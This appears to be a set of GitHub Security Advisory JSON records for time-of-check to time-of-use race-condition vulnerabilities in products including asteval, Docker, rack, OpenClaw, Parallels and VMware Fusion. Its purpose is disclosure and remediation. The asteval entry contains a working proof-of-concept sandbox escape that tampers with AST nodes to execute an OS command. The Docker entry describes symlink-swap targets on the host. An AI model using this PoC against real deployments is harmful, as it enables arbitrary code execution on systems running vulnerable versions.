CWE-367

{
  "affected": [],
  "aliases": [
    "CVE-2021-31427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-29T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "This vulnerability allows local attackers to disclose sensitive information on affected installations of Parallels Desktop 15.1.5-47309. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Open Tools Gate component. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13082.",
  "id": "GHSA-vgv6-jwqw-mqww",
  "modified": "2022-05-24T17:49:11Z",
  "published": "2022-05-24T17:49:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31427"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/en/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-435"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:21:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "OpenClaw\u0027s skills download installer validated the intended per-skill tools root lexically, but later reused that mutable path while downloading and copying the archive into place. If a local attacker could rebind that tools-root path between validation and the final write, the installer could be redirected to write outside the intended tools directory.\n\nThe fix pins the canonical per-skill tools root immediately after validation and derives later download/copy paths from that canonical root, so rebinding the lexical path fails closed instead of redirecting the write.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Latest published vulnerable version: `2026.3.7`\n- Affected range: `\u003c= 2026.3.7`\n- Fixed in released version: `2026.3.8`\n\n## Fix Commit(s)\n\n- `9abf014f3502009faf9c73df5ca2cff719e54639`\n\n## Release Verification\n\n- Verified fixed in GitHub release `v2026.3.8` published on March 9, 2026.\n- Verified `npm view openclaw version` resolves to `2026.3.8`.\n- Verified the release contains the regression test covering tools-root rebinding and that the test passes against the `v2026.3.8` tree.\n\nThanks @tdjackey for reporting.",
  "id": "GHSA-vhwf-4x96-vqx2",
  "modified": "2026-04-06T22:46:40Z",
  "published": "2026-03-12T14:21:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vhwf-4x96-vqx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/9abf014f3502009faf9c73df5ca2cff719e54639"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-path-traversal-via-tools-root-rebinding-in-skills-download"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw\u0027s skills-install-download can be redirected outside the tools root by rebinding the validated base path"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-4018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T18:17:26Z",
    "severity": "MODERATE"
  },
  "details": "TOCTOU Race Condition in specific trace commands of the TraceEvent() system call could allow an attacker with local access and with the PROCMGR_AID_TRACE ability, to cause information disclosure, data tampering or a crash of the QNX Neutrino kernel.",
  "id": "GHSA-vm3p-4vxh-gffg",
  "modified": "2026-07-14T18:32:14Z",
  "published": "2026-07-14T18:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4018"
    },
    {
      "type": "WEB",
      "url": "https://support.blackberry.com/pkb/s/article/141213"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-1880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-16T03:16:25Z",
    "severity": "MODERATE"
  },
  "details": "An Incorrect Permission Assignment for Critical Resource vulnerability in the ASUS DriverHub update process allows privilege escalation due to improper protection of required execution resources during the validation phase, permitting a local user to make unprivileged modifications. This allows the altered resource to pass system checks and be executed with elevated privileges upon a user-initiated update.\nRefer to the \u0027Security Update for ASUS DriverHub\u0027 section on the ASUS Security Advisory for more information.",
  "id": "GHSA-vmw6-xgxq-pw9v",
  "modified": "2026-04-16T03:31:06Z",
  "published": "2026-04-16T03:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1880"
    },
    {
      "type": "WEB",
      "url": "https://www.asus.com/security-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "asteval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-23T22:33:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nIf an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application\u0027s context.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below:\n\n```py\n    def on_attribute(self, node):    # (\u0027value\u0027, \u0027attr\u0027, \u0027ctx\u0027)\n        \"\"\"Extract attribute.\"\"\"\n\n        ctx = node.ctx.__class__\n        if ctx == ast.Store:\n            msg = \"attribute for storage: shouldn\u0027t be here!\"\n            self.raise_exception(node, exc=RuntimeError, msg=msg)\n\n        sym = self.run(node.value)\n        if ctx == ast.Del:\n            return delattr(sym, node.attr)\n        #\n        unsafe = (node.attr in UNSAFE_ATTRS or\n                 (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n        if not unsafe:\n            for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():\n                unsafe = isinstance(sym, dtype) and node.attr in attrlist\n                if unsafe:\n                    break\n        if unsafe:\n            msg = f\"no safe attribute \u0027{node.attr}\u0027 for {repr(sym)}\"\n            self.raise_exception(node, exc=AttributeError, msg=msg)\n        else:\n            try:\n                return getattr(sym, node.attr)\n            except AttributeError:\n                pass\n```\n\nWhile this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection:\n\n```py\nclass Procedure:\n    \"\"\"Procedure: user-defined function for asteval.\n\n    This stores the parsed ast nodes as from the \u0027functiondef\u0027 ast node\n    for later evaluation.\n\n    \"\"\"\n\n    def __init__(self, name, interp, doc=None, lineno=0,\n                 body=None, args=None, kwargs=None,\n                 vararg=None, varkws=None):\n        \"\"\"TODO: docstring in public method.\"\"\"\n        self.__ininit__ = True\n        self.name = name\n        self.__name__ = self.name\n        self.__asteval__ = interp\n        self.raise_exc = self.__asteval__.raise_exception\n        self.__doc__ = doc\n        self.body = body\n        self.argnames = args\n        self.kwargs = kwargs\n        self.vararg = vararg\n        self.varkws = varkws\n        self.lineno = lineno\n        self.__ininit__ = False\n```\n\nSince the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour.\n\nThe exploit works as follows:\n\n1. **The Time of Check, Time of Use (TOCTOU) Gadget:**\n\n   In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe:\n\n   ```python\n   unsafe = (node.attr in UNSAFE_ATTRS or\n             (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n   ```\n\n2. **Exploiting the TOCTOU Gadget:**\n\n   An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps:\n   \n   - It replaces the value of `node.attr` with the string `\"__getattribute__\"` and returns `False`.\n   - Thus, when `node.attr.startswith(\u0027__\u0027)` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`.\n   - However, by that time, `node.attr` has been changed to `\"__getattribute__\"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\nga_str = \"__getattribute__\"\ndef lender():\n    a\n    b\ndef pwn():\n    ga = lender.dontcare\n    init = ga(\"__init__\")\n    ga = init.dontcare\n    globals = ga(\"__globals__\")\n    builtins = globals[\"__builtins__\"]\n    importer = builtins[\"__import__\"]\n    importer(\"os\").system(\"whoami\")\n\ndef startswith1(str):\n    # Replace the attr on the targeted AST node with \"__getattribute__\"\n    pwn.body[0].value.attr = ga_str\n    return False    \n\ndef startswith2(str):\n    pwn.body[2].value.attr = ga_str\n    return False    \n\nn1 = lender.body[0]\nn1.startswith = startswith1\npwn.body[0].value.attr = n1\n\nn2 = lender.body[1]\nn2.startswith = startswith2\npwn.body[2].value.attr = n2\n\npwn()\n\"\"\"\naeval(code)\n```",
  "id": "GHSA-vp47-9734-prjw",
  "modified": "2025-01-23T22:33:48Z",
  "published": "2025-01-23T22:33:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-vp47-9734-prjw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lmfit/asteval"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "28.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/moby/moby/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/moby/moby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "28.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-61",
      "CWE-81"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:52:55Z",
    "nvd_published_at": "2026-06-12T19:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA race condition during `docker cp` mount setup allows a malicious container to create empty files or directories at arbitrary absolute paths on the host filesystem.\n\nThis advisory covers the race during mountpoint creation. The related race during the subsequent mount syscall is tracked in GHSA-rg2x-37c3-w2rh\n\n## Details\n\nWhen copying files into a container, the daemon sets up a temporary filesystem view by bind-mounting volumes into a private mount namespace. During this setup, the mount destination path is first resolved within the container\u0027s root filesystem using `GetResourcePath`, and then used to create the mountpoint (file or directory) if it does not already exist via `createIfNotExists`.\n\nBetween path resolution and mountpoint creation, a process running inside the container can swap a path component for a symlink pointing to an arbitrary location on the host. Because `createIfNotExists` operates on the already-resolved absolute path using standard `os.MkdirAll` and `os.OpenFile` \u2014 which follow symlinks in intermediate path components \u2014 the symlink is followed and the file or directory is created outside the container root filesystem, as root.\n\n## Impact\n\nA malicious container can create empty files or directories at arbitrary absolute paths on the host filesystem, running as root. This enables persistent denial of service \u2014 for example:\n\n- Converting `/etc/docker/daemon.json` into a directory prevents the daemon from restarting\n- Creating `/etc/nologin` prevents user logins\n- Overwriting critical system paths with empty files can break host services\n\nThe container does not gain read or write access to existing host files \u2014 only the ability to create new empty files or directories at chosen paths.\n\n### Conditions for exploitation\n\n- A container must be running with a process that can rapidly create and swap symlinks at a volume mount destination path.\n- An operator must initiate a `docker cp` into that container, or call the `PUT /containers/{id}/archive` or `HEAD /containers/{id}/archive` API endpoints.\n\n### Not affected\n\n- Containers that do not have volume mounts are not affected, as the race occurs during volume bind-mount setup.\n\n## Patches\n\nMountpoint creation is now scoped to the container root using `os.Root` (Go 1.24+), which refuses to follow symlinks that escape the opened root directory. All filesystem operations in `createIfNotExists` (`MkdirAll`, `OpenFile`) are performed through the `os.Root` handle, so even if a symlink swap occurs after path resolution, the creation stays confined to the container root.\n\n## Workarounds\n\n- Only run containers from trusted images.\n- Avoid using `docker cp` with untrusted running containers.\n- Use authorization plugins to restrict access to the archive API endpoints (`PUT /containers/{id}/archive`, `HEAD /containers/{id}/archive`).",
  "id": "GHSA-vp62-88p7-qqf5",
  "modified": "2026-06-12T21:59:28Z",
  "published": "2026-05-18T17:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/security/advisories/GHSA-vp62-88p7-qqf5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41568"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moby/moby"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Docker: Race condition in docker cp allows creation of arbitrary empty files on the host via symlink swap"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.13"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-367",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-08T14:45:18Z",
    "nvd_published_at": "2025-05-07T23:15:53Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen using the `Rack::Session::Pool` middleware, simultaneous rack requests can restore a deleted rack session, which allows the unauthenticated user to occupy that session.\n\n### Details\n\n[Rack session middleware](https://github.com/rack/rack/blob/v2.2.13/lib/rack/session/abstract/id.rb#L263-L270) prepares the session at the beginning of request, then saves is back to the store with possible changes applied by host rack application. This way the session becomes to be a subject of race conditions in general sense over concurrent rack requests.\n\n### Impact\n\nWhen using the `Rack::Session::Pool` middleware, and provided the attacker can acquire a session cookie (already a major issue), the session may be restored if the attacker can trigger a long running request (within that same session) adjacent to the user logging out, in order to retain illicit access even after a user has attempted to logout.\n\n## Mitigation\n\n- Update to the latest version of `rack`, or\n- Ensure your application invalidates sessions atomically by marking them as logged out e.g., using a `logged_out` flag, instead of deleting them, and check this flag on every request to prevent reuse, or\n- Implement a custom session store that tracks session invalidation timestamps and refuses to accept session data if the session was invalidated after the request began.\n\n### Related\n\nAs this code was moved to `rack-session` in Rack 3+, see \u003chttps://github.com/rack/rack-session/security/advisories/GHSA-9j94-67jr-4cqj\u003e for the equivalent advisory in `rack-session` (affecting Rack 3+ only).",
  "id": "GHSA-vpfw-47h7-xj4g",
  "modified": "2025-05-09T14:34:16Z",
  "published": "2025-05-08T14:45:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack-session/security/advisories/GHSA-9j94-67jr-4cqj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-vpfw-47h7-xj4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/commit/c48e52f7c57e99e1e1bf54c8760d4f082cd1c89d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/blob/v2.2.13/lib/rack/session/abstract/id.rb#L263-L270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2025-32441.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack session gets restored after deletion"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-7249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-31T09:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Keybase before 2.12.6 on macOS, the move RPC to the Helper was susceptible to time-to-check-time-to-use bugs and would also allow one user of the system (who didn\u0027t have root access) to tamper with another\u0027s installs.",
  "id": "GHSA-vr9v-36r3-5pfh",
  "modified": "2022-05-13T01:22:48Z",
  "published": "2022-05-13T01:22:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7249"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/471739"
    },
    {
      "type": "WEB",
      "url": "https://keybase.io/docs/secadv/kb004"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106824"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-27538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-01T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "A potential Time-of-Check to Time-of-Use (TOCTOU) vulnerability has been identified in the BIOS for certain HP PC products which may allow arbitrary code execution, denial of service, and information disclosure. HP is releasing BIOS updates to mitigate the potential vulnerability.",
  "id": "GHSA-vrcv-rg57-32pr",
  "modified": "2023-02-17T00:30:30Z",
  "published": "2023-02-01T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27538"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_7387020-7387107-16/hpsbhf03827"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-34046"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-20T09:15:12Z",
    "severity": "HIGH"
  },
  "details": "VMware Fusion(13.x prior to 13.5) contains a TOCTOU (Time-of-check Time-of-use) \nvulnerability that occurs during installation for the first time (the \nuser needs to drag or copy the application to a folder from the \u0027.dmg\u0027 \nvolume) or when installing an upgrade.\u00a0A malicious actor with local non-administrative user privileges may \nexploit this vulnerability to escalate privileges to root on the system \nwhere Fusion is installed or being installed for the first time.",
  "id": "GHSA-vrpg-hfmh-2gwf",
  "modified": "2025-03-07T21:31:04Z",
  "published": "2023-10-20T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34046"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2023-0022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}